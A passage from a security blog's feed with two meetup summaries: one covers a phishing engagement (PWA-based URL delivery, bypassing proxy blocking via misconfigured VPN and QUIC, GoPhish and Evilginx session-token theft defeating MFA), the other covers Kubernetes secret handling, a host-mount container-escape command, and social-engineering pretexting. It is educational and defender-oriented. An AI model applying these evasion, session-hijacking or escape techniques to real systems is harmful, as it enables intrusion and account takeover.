<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-6-pwaova-file-abuse-for-url-delivery">Step 6: PWA/OVA File Abuse for URL Delivery<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#step-6-pwaova-file-abuse-for-url-delivery" class="hash-link" aria-label="Direct link to Step 6: PWA/OVA File Abuse for URL Delivery" title="Direct link to Step 6: PWA/OVA File Abuse for URL Delivery" translate="no">​</a></h4>
<p>For delivering phishing URLs, they used <strong>PWA (Progressive Web App) / OVA file</strong> techniques.</p>
<blockquote>
<p><mark><strong>What is this?</strong> A PWA (Progressive Web App) is essentially a web application that can be installed on a user's device and behaves like a native app. Attackers can abuse PWAs by creating a malicious PWA that, when installed, opens a phishing page in what looks like a standalone application window - no browser URL bar visible, no obvious signs that you're on a fake site.</mark> The <code>.ova</code> (Open Virtual Appliance) format can be similarly abused to package malicious environments. In this case, Mahadev's team leveraged developer mode to push URLs through PWA functionality, making the phishing delivery mechanism harder to detect by traditional email-based controls since the URL isn't sitting directly in the email body in a conventional way.</p>
</blockquote>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-7-blocked-by-proxy-autoconfig-pac---but-not-everyone">Step 7: Blocked by Proxy AutoConfig (PAC) - But Not Everyone<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#step-7-blocked-by-proxy-autoconfig-pac---but-not-everyone" class="hash-link" aria-label="Direct link to Step 7: Blocked by Proxy AutoConfig (PAC) - But Not Everyone" title="Direct link to Step 7: Blocked by Proxy AutoConfig (PAC) - But Not Everyone" translate="no">​</a></h4>
<p>Eventually, the SOC caught on and <mark>blocked the attacker's infrastructure at the <strong>Proxy AutoConfig (PAC)</strong> level.</mark></p>
<blockquote>
<p><strong>What is Proxy AutoConfig (PAC)?</strong> <mark>A PAC file is a JavaScript file that tells a web browser which proxy server to use for a given URL. Organizations deploy PAC files to route employee web traffic through their security proxies, where traffic is inspected, filtered, and logged.</mark> By adding the attacker's domains/IPs to the PAC file's blocklist, the SOC effectively cut off access for any employee whose browser was configured to use the corporate proxy.</p>
</blockquote>
<p>But here's the catch - <mark>some employees were connected via <strong>VPN</strong>, and the VPN implementation was not properly configured.</mark> These VPN-connected users were either not routing all traffic through the corporate proxy, or their VPN split-tunneling configuration allowed direct internet access bypassing the proxy. So even though the PAC file was updated to block the phishing infrastructure, the VPN-connected employees were still reachable and exploitable.</p>
<blockquote>
<p>This is a classic example of why defense-in-depth matters. A single control (PAC/proxy blocking) failed because of a gap in another control (VPN configuration). Security is only as strong as its weakest link.</p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="tooling-gophish--evilginx">Tooling: GoPhish &amp; Evilginx<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#tooling-gophish--evilginx" class="hash-link" aria-label="Direct link to Tooling: GoPhish &amp; Evilginx" title="Direct link to Tooling: GoPhish &amp; Evilginx" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="gophish-framework">GoPhish Framework<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#gophish-framework" class="hash-link" aria-label="Direct link to GoPhish Framework" title="Direct link to GoPhish Framework" translate="no">​</a></h4>
<p>Mahadev then gave an overview of <strong>GoPhish</strong>, one of the most widely used open-source phishing frameworks for security assessments.</p>
<ul>
<li class=""><mark><strong>GoPhish</strong> is an open-source phishing toolkit designed for businesses and penetration testers to conduct phishing simulations.</mark> It provides a clean web UI to manage campaigns, track results, and measure employee awareness.</li>
<li class="">The core workflow in GoPhish is:
<ol>
<li class=""><strong>SMTP Configuration</strong> - Set up your sending mail server (with proper SPF, DKIM, DMARC as we discussed earlier).</li>
<li class=""><strong>Email Templates</strong> - Create or import the phishing email. GoPhish supports template variables like <code>{{.FirstName}}</code>, <code>{{.LastName}}</code>, <code>{{.Email}}</code>, <code>{{.Position}}</code> to personalize each email.</li>
<li class=""><strong>Tracking</strong> - GoPhish uses a <code>.Tracker</code> variable that embeds a unique tracking pixel in each email. <mark>Each recipient gets a unique <code>rid</code> (recipient ID) parameter appended to URLs and tracking pixels.</mark> This allows the framework to track who opened the email, who clicked the link, and who submitted credentials - all tied back to individual users.</li>
<li class=""><strong>Landing Page</strong> - This is one of the most important parts. The landing page is what the user sees after clicking the link. GoPhish can clone existing login pages or host custom-built ones. Credentials submitted on the landing page are captured and logged.</li>
</ol>
</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="evilginx">Evilginx<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#evilginx" class="hash-link" aria-label="Direct link to Evilginx" title="Direct link to Evilginx" translate="no">​</a></h4>
<p>Mahadev also mentioned <strong>Evilginx</strong>, which takes phishing to a completely different level.</p>
<ul>
<li class=""><mark><strong>Evilginx</strong> is a man-in-the-middle (MiTM) attack framework used for phishing login credentials along with session cookies/tokens.</mark> Unlike traditional phishing that just captures a username and password, Evilginx acts as a <strong>reverse proxy</strong> sitting between the victim and the real login page.</li>
<li class="">When the victim enters their credentials on the Evilginx-proxied page, the credentials are forwarded to the real server, the real server authenticates the user and returns session tokens/cookies, and <mark>Evilginx captures both the credentials <strong>and</strong> the session tokens in real-time.</mark></li>
<li class="">This means the attacker can bypass <strong>MFA (Multi-Factor Authentication)</strong> - because the victim completes the full MFA flow on the real server, and Evilginx captures the authenticated session token that comes after MFA validation. The attacker then imports this token into their own browser and has a fully authenticated session - no password or MFA needed from their side.</li>
</ul>
<blockquote>
<p>This is exactly what Mahadev was doing in the real-world engagement story above - Evilginx-style session token capture is how they were able to maintain access even after password resets.</p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="qa-highlights">Q&amp;A Highlights<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#qa-highlights" class="hash-link" aria-label="Direct link to Q&amp;A Highlights" title="Direct link to Q&amp;A Highlights" translate="no">​</a></h3>
<p>The audience had some great questions, and a few stood out:</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="if-were-logging-in-from-a-different-device-wouldnt-the-soc-get-alerted">"If we're logging in from a different device, wouldn't the SOC get alerted?"<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#if-were-logging-in-from-a-different-device-wouldnt-the-soc-get-alerted" class="hash-link" aria-label="Direct link to &quot;If we're logging in from a different device, wouldn't the SOC get alerted?&quot;" title="Direct link to &quot;If we're logging in from a different device, wouldn't the SOC get alerted?&quot;" translate="no">​</a></h4>
<p>Mahadev clarified - <strong>logging in and stealing a session are two different things.</strong> A new login from an unfamiliar device/location <em>would</em> trigger alerts in most SIEM/security tools. But <mark>importing a stolen session token doesn't generate a "new login" event - it looks like a continuation of the victim's existing session.</mark> To the SOC, it appears as if the legitimate user is still using their account normally.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-cant-next-gen-firewalls-detect-this-they-maintain-session-info">"Why can't next-gen firewalls detect this? They maintain session info."<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#why-cant-next-gen-firewalls-detect-this-they-maintain-session-info" class="hash-link" aria-label="Direct link to &quot;Why can't next-gen firewalls detect this? They maintain session info.&quot;" title="Direct link to &quot;Why can't next-gen firewalls detect this? They maintain session info.&quot;" translate="no">​</a></h4>
<p>Mahadev's honest answer was - <mark>in theory, yes, next-gen firewalls and advanced security solutions <em>can</em> detect session anomalies. But in practice, it's extremely costly for businesses to maintain such granular session inspection at scale.</mark> The compute and storage overhead of tracking every session's behavioral fingerprint across thousands of users is significant. So while the technology exists, most organizations don't deploy it at the depth required to catch this kind of attack.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="would-a-proxy-detect-a-phishing-link-when-its-opened">"Would a proxy detect a phishing link when it's opened?"<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#would-a-proxy-detect-a-phishing-link-when-its-opened" class="hash-link" aria-label="Direct link to &quot;Would a proxy detect a phishing link when it's opened?&quot;" title="Direct link to &quot;Would a proxy detect a phishing link when it's opened?&quot;" translate="no">​</a></h4>
<p>He said <strong>yes, if properly configured</strong>, the proxy would detect and block it. But here's where it gets interesting - <mark>some proxies like <strong>Zscaler</strong> cannot block the <strong>QUIC protocol</strong>.</mark></p>
<blockquote>
<p><strong>What is QUIC?</strong> <mark>QUIC (Quick UDP Internet Connections) is a modern transport layer protocol developed by Google. Unlike traditional HTTPS which runs over TCP, QUIC runs over <strong>UDP</strong> and uses its own encryption (built on TLS 1.3).</mark> Under the hood, it uses UDP and WebSockets, and the flow of QUIC traffic is fundamentally different from standard HTTPS traffic.</p>
<p>Mahadev explained that they set up a <strong>QUIC server</strong> and rendered an <strong>iframe</strong> on their server to load the target website. Because <mark>Zscaler (and similarly <strong>Netskope</strong>) cannot natively inspect or block QUIC traffic the same way they handle HTTP/HTTPS</mark>, the phishing page loaded through QUIC effectively bypassed the proxy's URL filtering and inspection capabilities. This is a known gap in several popular CASB/SWG (Secure Web Gateway) solutions.</p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="final-thoughts">Final Thoughts<a href="https://blog.haxnation.org/haxnation-mumbai-meetup-june26-summary#final-thoughts" class="hash-link" aria-label="Direct link to Final Thoughts" title="Direct link to Final Thoughts" translate="no">​</a></h3>
<p>The rest of the session was a live demo - Mahadev walked through setting up campaigns in GoPhish, attaching payloads, configuring email templates, and demonstrating the full attack flow end-to-end.</p>
<blockquote>
<p><strong>Bottom Line:</strong> The key takeaway from Mahadev's session was this - phishing is not just about sending a dodgy email. It's an entire operation that requires careful planning of infrastructure, domains, and evasion techniques. And on the flip side, as defenders, understanding this entire chain is what helps us build better detection and response mechanisms. Every detection method has a bypass, every control has a gap - but layering them together and continuously improving is what makes the attacker's job harder.</p>
</blockquote>]]></content>
        <author>
            <name>Param Jasani</name>
            <uri>https://github.com/param-jasani</uri>
        </author>
        <category label="GRC" term="GRC"/>
        <category label="AI" term="AI"/>
        <category label="Security" term="Security"/>
        <category label="Phishing" term="Phishing"/>
        <category label="Social-Engineering" term="Social-Engineering"/>
        <category label="Email-Security" term="Email-Security"/>
        <category label="Evilginx" term="Evilginx"/>
        <category label="GoPhish" term="GoPhish"/>
        <category label="Session-Hijacking" term="Session-Hijacking"/>
        <category label="DPDP-Act-2023" term="DPDP-Act-2023"/>
        <category label="ISO-42001" term="ISO-42001"/>
        <category label="QUIC-Bypass" term="QUIC-Bypass"/>
        <category label="Haxnation-Meetup-Summary" term="Haxnation-Meetup-Summary"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Summary of HTB Mumbai Meetup held on 01st August 2026]]></title>
        <id>https://blog.haxnation.org/htb-mumbai-meetup-18-summary</id>
        <link href="https://blog.haxnation.org/htb-mumbai-meetup-18-summary"/>
        <updated>2026-08-02T04:00:00.000Z</updated>
        <summary type="html"><![CDATA[This blog is a summary of what was taught at  HTB Meetup Mumbai #18 held on 01st August 2026.
]]></summary>
        <content type="html"><![CDATA[<p>This blog is a summary of what was taught at HTB Meetup Mumbai #18 held on 01st August 2026.</p>
<p>In my opinion, the sessions were really fun and bite-sized. Let's see what happened....</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="session-1-kubernetes-misconfigurations-101-from-leaked-secrets-to-host-compromise-by-deepak-yadav">Session 1: "Kubernetes Misconfigurations 101: From Leaked Secrets to Host Compromise" by Deepak Yadav<a href="https://blog.haxnation.org/htb-mumbai-meetup-18-summary#session-1-kubernetes-misconfigurations-101-from-leaked-secrets-to-host-compromise-by-deepak-yadav" class="hash-link" aria-label="Direct link to Session 1: &quot;Kubernetes Misconfigurations 101: From Leaked Secrets to Host Compromise&quot; by Deepak Yadav" title="Direct link to Session 1: &quot;Kubernetes Misconfigurations 101: From Leaked Secrets to Host Compromise&quot; by Deepak Yadav" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="introduction">Introduction<a href="https://blog.haxnation.org/htb-mumbai-meetup-18-summary#introduction" class="hash-link" aria-label="Direct link to Introduction" title="Direct link to Introduction" translate="no">​</a></h3>
<p>In the earlier days of application hosting, running a service meant renting a physical server, configuring DNS, and making sure the application was reachable from the outside world. The biggest challenge was reproducibility. A web app that worked perfectly on a developer's laptop could still fail on the server due to differences in environment, dependencies, or runtime configuration. This was the classic "works on my machine" problem.</p>
<p>To solve this, cloud providers introduced managed services that made deployment simpler, enabled autoscaling, and allowed traffic to be distributed through load balancers. But that also introduced a new set of concerns, especially around vendor lock-in and portability. Moving an application from one cloud provider to another often meant reworking parts of the infrastructure and configuration.</p>
<p>This is where containerization changed the game. Containers made applications lightweight, portable, and easier to deploy. But as organizations started running many containers, managing them manually became difficult. That is where Kubernetes entered the picture.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-kubernetes-became-important">Why Kubernetes became important<a href="https://blog.haxnation.org/htb-mumbai-meetup-18-summary#why-kubernetes-became-important" class="hash-link" aria-label="Direct link to Why Kubernetes became important" title="Direct link to Why Kubernetes became important" translate="no">​</a></h3>
<p>Kubernetes, often abbreviated as K8s, became popular because it solved a very practical problem: how do you manage a large number of containers at scale?</p>
<p>Instead of deploying services manually, Kubernetes lets you define the desired state of your application and then automatically ensures that state is maintained. If a container crashes, Kubernetes can recreate it. If traffic increases, it can scale the number of replicas. If a service becomes unhealthy, it can replace it. This makes applications more resilient and easier to manage.</p>
<p>The talk also highlighted that Kubernetes is not only about scaling. It is also about portability and flexibility. Unlike some vendor-specific platforms, Kubernetes is cloud-agnostic and can be deployed on-premises, in private data centers, or on public clouds. That makes it a very attractive choice for organizations that do not want to depend too heavily on a single provider.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-rise-of-containers-and-the-need-for-orchestration">The rise of containers and the need for orchestration<a href="https://blog.haxnation.org/htb-mumbai-meetup-18-summary#the-rise-of-containers-and-the-need-for-orchestration" class="hash-link" aria-label="Direct link to The rise of containers and the need for orchestration" title="Direct link to The rise of containers and the need for orchestration" translate="no">​</a></h3>
<p>Before containers, virtualization existed, but it was still heavy. Virtual machines had their own full operating systems and required more resources. Containers were more lightweight because they shared the host operating system kernel while still providing application-level isolation.</p>
<p>This made containers much easier to package and ship. Images became smaller, deployments became faster, and scaling became more practical. But when dozens or hundreds of containers started running together, orchestration became a necessity. Kubernetes was designed to fill that role.</p>
<p>The session emphasized that Kubernetes is essentially an orchestration engine for containerized applications. It handles scheduling, networking, storage, service discovery, and self-healing. In short, it helps teams run modern distributed systems in a more structured way.</p>
<blockquote>
<p>To know/learn more about the architecture or related stuff, you can check out the <a href="https://haxnation.org/blog/breachforce-mumbai-meetup-june26-summary#introduction" target="_blank" rel="noopener noreferrer" class="">K8s Concepts that were covered in other meetup</a></p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="secret-management-in-kubernetes">Secret management in Kubernetes<a href="https://blog.haxnation.org/htb-mumbai-meetup-18-summary#secret-management-in-kubernetes" class="hash-link" aria-label="Direct link to Secret management in Kubernetes" title="Direct link to Secret management in Kubernetes" translate="no">​</a></h3>
<p>One of the most important security topics in the session was secret management. Secrets are sensitive values such as API keys, access tokens, database passwords, SSH keys, and TLS material. If these are mishandled, they can become the easiest path to compromise.</p>
<p>The speaker pointed out that Kubernetes secrets are not magically secure just because they are called secrets. By default, Kubernetes stores them as base64-encoded values, which is not the same as encryption. That means a misconfigured cluster can still expose them if access controls are weak. This is why secret management is such a major topic in cloud-native security.</p>
<p>The talk also connected this to OWASP K03: Secrets Management Failures, which highlights how often organizations fail to securely store, rotate, or restrict access to secrets. Some of the common problems include:</p>
<ul>
<li class="">hardcoding credentials into source code or container images</li>
<li class="">storing sensitive values in environment variables without proper protection</li>
<li class="">granting overly broad access to service accounts</li>
<li class="">failing to rotate tokens and keys regularly</li>
<li class="">relying on weak or inconsistent secret storage practices</li>
</ul>
<p>The session also discussed better approaches to secret handling. These include using dedicated secret management systems such as HashiCorp Vault or cloud-native services like AWS Secrets Manager or Azure Key Vault. The speaker emphasized that organizations should not rely on Kubernetes alone for all secret protection. A stronger design usually includes:</p>
<ul>
<li class="">encryption at rest</li>
<li class="">role-based access control (RBAC)</li>
<li class="">short-lived credentials where possible</li>
<li class="">workload identity instead of static long-lived secrets</li>
<li class="">strong auditing and monitoring</li>
</ul>
<p>In other words, secrets should be treated as a first-class security concern rather than an afterthought.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="morpheus-helping-us-to-escape-the-small-matrix">Morpheus helping us to escape the small matrix<a href="https://blog.haxnation.org/htb-mumbai-meetup-18-summary#morpheus-helping-us-to-escape-the-small-matrix" class="hash-link" aria-label="Direct link to Morpheus helping us to escape the small matrix" title="Direct link to Morpheus helping us to escape the small matrix" translate="no">​</a></h3>
<p>The second half of the session focused on container escape. Sorry for my cringy analogy out there, but that is the only thing that came to my mind while writing. The speaker looked like morepheus too, jk :)
A container escape happens when an attacker moves from a compromised application container to the underlying host or node. Once that happens, the attacker may gain access to other containers, shared volumes, cluster metadata, or even the host operating system itself.</p>
<p>The talk explained that container escape is a serious risk because it turns an application-level compromise into a platform-level compromise. In a Kubernetes environment, that can quickly lead to lateral movement and cluster takeover.</p>
<p>Some of the techniques discussed included:</p>
<ul>
<li class="">kernel exploits that break the isolation boundary between the container and the host</li>
<li class="">abuse of privileged containers</li>
<li class="">abuse of Linux capabilities that grant excessive permissions</li>
<li class="">mounting sensitive host paths into the container</li>
<li class="">abusing the Docker socket or similar runtime interfaces</li>
</ul>
<p>One of the most commonly cited examples is the misuse of the Docker socket. If a container has access to the host's Docker daemon socket, it may be able to start additional containers with host-level access. This is exactly the kind of vulnerability that can turn a small foothold into a major breach.</p>
<p>A simple demonstration discussed during the session involved mounting the host filesystem into a container and then accessing the host environment from within it. The example command that was shown was:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#F8F8F2;--prism-background-color:#282A36"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#F8F8F2;background-color:#282A36"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#F8F8F2"><span class="token function" style="color:rgb(80, 250, 123)">docker</span><span class="token plain"> run </span><span class="token parameter variable" style="color:rgb(189, 147, 249);font-style:italic">-v</span><span class="token plain"> /:/host </span><span class="token parameter variable" style="color:rgb(189, 147, 249);font-style:italic">-i</span><span class="token plain"> alpine </span><span class="token function" style="color:rgb(80, 250, 123)">chroot</span><span class="token plain"> /host </span><span class="token function" style="color:rgb(80, 250, 123)">bash</span><br></div></code></pre></div></div>
<p>This is a classic illustration of how dangerous it can be when a container is given access to the host root filesystem. Once the attacker escapes to the host, the situation changes dramatically because the host often has access to secrets, logs, node credentials, and the broader cluster environment.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="demo-highlights-from-the-session">Demo highlights from the session<a href="https://blog.haxnation.org/htb-mumbai-meetup-18-summary#demo-highlights-from-the-session" class="hash-link" aria-label="Direct link to Demo highlights from the session" title="Direct link to Demo highlights from the session" translate="no">​</a></h3>
<p>The speaker also walked through a small demo involving a vulnerable DNS application and some practical exploitation scenarios.</p>
<p>Also he recommended checking out - manipulation of Git Hooks to achieve RCE.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#F8F8F2;--prism-background-color:#282A36"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#F8F8F2;background-color:#282A36"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#F8F8F2"><span class="token plain">Also a small pun for our Indian readers, the best practice while creating any container is described in a song, which goes like -</span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">Andar se koi bahar na jaa sake, Bahar se koi andar na aa sake, socho kabhi aisa ho toh kya ho, socho kabhi aisa ho toh kya ho</span><br></div><div class="token-line" style="color:#F8F8F2"><span class="token plain">Nothing will happen its just a wet dream of SOC team :)</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="session-2-psychology-of-social-engineering---trust-authority-bias--emotional-triggers-by-prathmesh-dharkar">Session 2: "Psychology of Social Engineering - Trust, Authority Bias &amp; Emotional Triggers" by Prathmesh Dharkar<a href="https://blog.haxnation.org/htb-mumbai-meetup-18-summary#session-2-psychology-of-social-engineering---trust-authority-bias--emotional-triggers-by-prathmesh-dharkar" class="hash-link" aria-label="Direct link to Session 2: &quot;Psychology of Social Engineering - Trust, Authority Bias &amp; Emotional Triggers&quot; by Prathmesh Dharkar" title="Direct link to Session 2: &quot;Psychology of Social Engineering - Trust, Authority Bias &amp; Emotional Triggers&quot; by Prathmesh Dharkar" translate="no">​</a></h2>
<p>After a long long long time, I finally heard something related to physical pentesting, IDK in our country, its a very underrated art. Like, I still remember that last time when I heard about something related to physical pentesting it was either Darknet Diaries or it was Deviant Ollam.</p>
<p>Anyways....
Now what was the second talk really about? It focused on compromising the people part of physical pentesting... Yeah what we call <strong>Social Engineering</strong>, you all already get that from the title of the session.</p>
<p>Compromising the human brain or pressing the specific pain points of people to reveal information, noticing patterns, reading the room, etc etc... that's what all <em>social engineering</em> is all about, one of the dark arts of our industry.</p>
<p>The speaker highlighted that this was one of those talks that should not be limited to just <strong>security people</strong>. If you are in any kind of professional environment, whether you are working in cybersecurity, sales, operations, support, or even everyday life, this talk hits home. Because at the end of the day, a lot of breaches do not start with a technical failure. They start with someone clicking, trusting, panicking, or being pressured into doing something they should not have done.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-main-idea-people-are-the-real-target">The main idea: people are the real target<a href="https://blog.haxnation.org/htb-mumbai-meetup-18-summary#the-main-idea-people-are-the-real-target" class="hash-link" aria-label="Direct link to The main idea: people are the real target" title="Direct link to The main idea: people are the real target" translate="no">​</a></h3>
<p>Social engineering is basically the art of making someone do what you want by playing with trust, emotions, urgency, or bias. It sounds scary because it is. But it is also extremely useful to understand if we want to defend against it.</p>
<p>The speaker highlighted a few pressure points like <strong>fear</strong>, <strong>panic</strong>, <strong>greed</strong>, <strong>desire</strong>, <strong>curiosity</strong>, <strong>guilt</strong>, <strong>obligation</strong>, <strong>urgency</strong>, <strong>motivation</strong>, and <strong>needs</strong>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="trust-authority-and-the-human-need-to-comply">Trust, authority, and the human need to comply<a href="https://blog.haxnation.org/htb-mumbai-meetup-18-summary#trust-authority-and-the-human-need-to-comply" class="hash-link" aria-label="Direct link to Trust, authority, and the human need to comply" title="Direct link to Trust, authority, and the human need to comply" translate="no">​</a></h3>
<p>One of the biggest themes of the session was trust. People trust things that look familiar, things that look official, and things that seem to come from someone who has authority. This is known as authority bias.</p>
<p>The speaker talked about authority bias in a very practical way. If someone appears to be in charge, or if they mention a manager, a team lead, a receptionist, or even a senior executive, the other person may stop questioning and start complying. The whole point is not that the target is stupid. The whole point is that humans are busy, distracted, and often making decisions under pressure.</p>
<p>This is why the speaker emphasized the importance of not treating every situation as normal just because it looks routine. A lot of people follow the process without thinking too much. And that is exactly where manipulation becomes possible.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="emotional-triggers-are-often-more-powerful-than-technical-tricks">Emotional triggers are often more powerful than technical tricks<a href="https://blog.haxnation.org/htb-mumbai-meetup-18-summary#emotional-triggers-are-often-more-powerful-than-technical-tricks" class="hash-link" aria-label="Direct link to Emotional triggers are often more powerful than technical tricks" title="Direct link to Emotional triggers are often more powerful than technical tricks" translate="no">​</a></h3>
<p>The talk also spent a good amount of time on emotional triggers. Fear makes people react fast. Curiosity makes them click. Greed makes them ignore caution. Guilt makes them feel bad for saying no. Empathy makes them want to help. All of these emotions have been used over and over again in phishing, scams, impersonation, and social attacks.</p>
<p>The speaker made a very good point here: the attacker often does not need to be brilliant. They only need to know which button to press. If they can trigger the right emotion at the right time, the target may take the action without even realizing what is happening.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="osint-recon-and-the-art-of-preparation">OSINT, recon, and the art of preparation<a href="https://blog.haxnation.org/htb-mumbai-meetup-18-summary#osint-recon-and-the-art-of-preparation" class="hash-link" aria-label="Direct link to OSINT, recon, and the art of preparation" title="Direct link to OSINT, recon, and the art of preparation" translate="no">​</a></h3>
<p>The speaker also shared some examples from real-world experiences, especially around reconnaissance and preparation. Even if the target is a company, an office, or a building, the first step is usually to understand the environment. Who are the people involved? What does the place look like? What is the normal flow of people? What are the visible and invisible barriers? This is where OSINT and recon come into play.</p>
<p>The talk explained that even basic public information can be valuable. Blueprints, building layouts, lanyards, IDs, office routines, public social media posts, and even casual observations can all become clues.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="pretext-rapport-and-the-power-of-a-believable-story">Pretext, rapport, and the power of a believable story<a href="https://blog.haxnation.org/htb-mumbai-meetup-18-summary#pretext-rapport-and-the-power-of-a-believable-story" class="hash-link" aria-label="Direct link to Pretext, rapport, and the power of a believable story" title="Direct link to Pretext, rapport, and the power of a believable story" translate="no">​</a></h3>
<p>Another big topic in the session was the <strong>pretext</strong>. A pretext is basically a believable reason or story that makes someone accept your presence or your request. You should appear like you belong there, tone should be calm, body language should be confident, etc. People will ask less questions if you really look like its your daily routine.</p>
<p>The speaker explained that <em>rapport building</em> is not just about being friendly, Its about making the other person feel comfortable enough to continue the conversation, if he/she agrees to do what you say, voilà you already gained their <em>trust</em>, now you can exploit the person to reveal more information.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="situational-awareness-read-the-room-before-you-act">Situational awareness: read the room before you act<a href="https://blog.haxnation.org/htb-mumbai-meetup-18-summary#situational-awareness-read-the-room-before-you-act" class="hash-link" aria-label="Direct link to Situational awareness: read the room before you act" title="Direct link to Situational awareness: read the room before you act" translate="no">​</a></h3>
<p>One of the most practical ideas in the session was situational awareness. In simple terms, it means paying attention to what is going on around you. Who is nervous? Who is talkative? Who looks confident? Who looks out of place? Who is in a hurry? What is the normal flow of the environment? The speaker said that once you understand what normal looks like, it becomes easier to spot the unusual.</p>
<p>This is an important lesson not just for security professionals, but for everyone. We often walk into a room, a meeting, or a conversation without really observing what is happening. But the people who are good at reading situations are usually the ones who are more difficult to fool.</p>
<p>The speaker also emphasized body language and behavior. A person’s face, posture, gestures, and tone can reveal a lot. You do not need to become a mind reader. You just need to pay attention.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-alter-ego-angle-becoming-a-role-on-purpose">The alter ego angle: becoming a role on purpose<a href="https://blog.haxnation.org/htb-mumbai-meetup-18-summary#the-alter-ego-angle-becoming-a-role-on-purpose" class="hash-link" aria-label="Direct link to The alter ego angle: becoming a role on purpose" title="Direct link to The alter ego angle: becoming a role on purpose" translate="no">​</a></h3>
<p>The talk also touched on a very interesting idea: the <strong>alter ego</strong>. The speaker did not mean becoming fake or toxic. He meant developing a version of yourself that can step in when needed. In other words, you can train yourself to be calm, confident, and observant when the situation demands it.</p>
<p>The speaker even talked about creating mental anchors and switching into a more controlled mindset. He said to create boxes with scripts of personas that you want to mimic in your mental space and whenever you want to be that person just think of the script and start mimicking it.
Also <em>emotional detachment</em> from the character is also a key part of this practice as you don't want to land up in a gray area where you can't figure out the difference between the real you and your persona.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="references-and-further-reading">References and Further Reading<a href="https://blog.haxnation.org/htb-mumbai-meetup-18-summary#references-and-further-reading" class="hash-link" aria-label="Direct link to References and Further Reading" title="Direct link to References and Further Reading" translate="no">​</a></h3>
<p><strong>Kubernetes &amp; Container Security (Session 1)</strong></p>
<ul>
<li class=""><a href="https://owasp.org/www-project-kubernetes-top-ten/" target="_blank" rel="noopener noreferrer" class="">OWASP Kubernetes Top 10</a> - A critical awareness document. Pay special attention to <strong>K03: Secrets Management Failures</strong> and <strong>K01: Insecure Workload Configurations</strong>.</li>
<li class=""><a href="https://www.cisa.gov/news-events/alerts/2022/03/15/updated-kubernetes-hardening-guide" target="_blank" rel="noopener noreferrer" class="">NSA/CISA Kubernetes Hardening Guidance</a> - Comprehensive best practices on defense-in-depth, RBAC, and preventing container escapes.</li>
<li class=""><a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation" target="_blank" rel="noopener noreferrer" class="">HackTricks: Docker Breakout / Container Escape</a> - A deep dive into exploiting misconfigurations, including the Docker socket mounts and privileged container escapes demonstrated in the talk.</li>
<li class=""><a href="https://kubernetes.io/docs/concepts/configuration/secret/" target="_blank" rel="noopener noreferrer" class="">Kubernetes Secrets - Official Documentation</a> - Core concepts on how K8s handles (and base64 encodes) secrets natively.</li>
<li class=""><a href="https://kubernetes.io/docs/concepts/security/overview/" target="_blank" rel="noopener noreferrer" class="">Kubernetes Security Overview</a> - High-level cloud-native security principles.</li>
</ul>
<p><strong>Psychology, Social Engineering &amp; Physical Pentesting (Session 2)</strong></p>
<ul>
<li class=""><em>Social Engineering: The Science of Human Hacking</em> by Christopher Hadnagy - A foundational book on OSINT, pretexting, elicitation, and the psychology of human manipulation.</li>
<li class=""><em>Influence: The Psychology of Persuasion</em> by Robert B. Cialdini - A must-read on the psychological triggers discussed in the talk, such as Authority Bias, Scarcity, and Reciprocity.</li>
<li class=""><em>Practical Lock Picking</em> &amp; <em>Keys to the Kingdom</em> by Deviant Ollam - Highly recommended books for understanding the physical security side of the industry.</li>
